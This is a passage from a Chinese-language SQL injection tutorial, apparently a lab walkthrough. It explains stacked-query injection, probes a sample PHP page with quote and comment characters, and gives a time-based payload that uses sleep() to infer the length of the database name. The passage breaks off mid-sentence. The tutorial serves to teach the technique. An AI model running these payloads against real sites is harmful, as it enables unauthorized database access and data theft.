1. 堆叠查询注入攻击
堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
1)考虑使用堆叠注入
访问URL:http://www.tianchi.com/web/duidie.php?id=1返回正常信息;
访问URL:http://www.tianchi.com/web/duidie.php?id=1'返回错误信息;
访问URL:http://www.tianchi.com/web/duidie.php?id=1'%23返回正常信息;
这里可以使用boolean注入、时间盲注、也可以使用堆叠注入。
2)获取数据库库名
(1)判断当前数据库库名的长度
语句:';select if(length(database())>=8,sleep(4),1)%23
URL:http://www.tianchi.com/web/duidie.php?id=1';select if(length(database())>=8,sleep(4),1)
可以看到页面响应时间是5023毫秒,即5.023秒,这说明了页面执行了sleep(4),也就是length(database()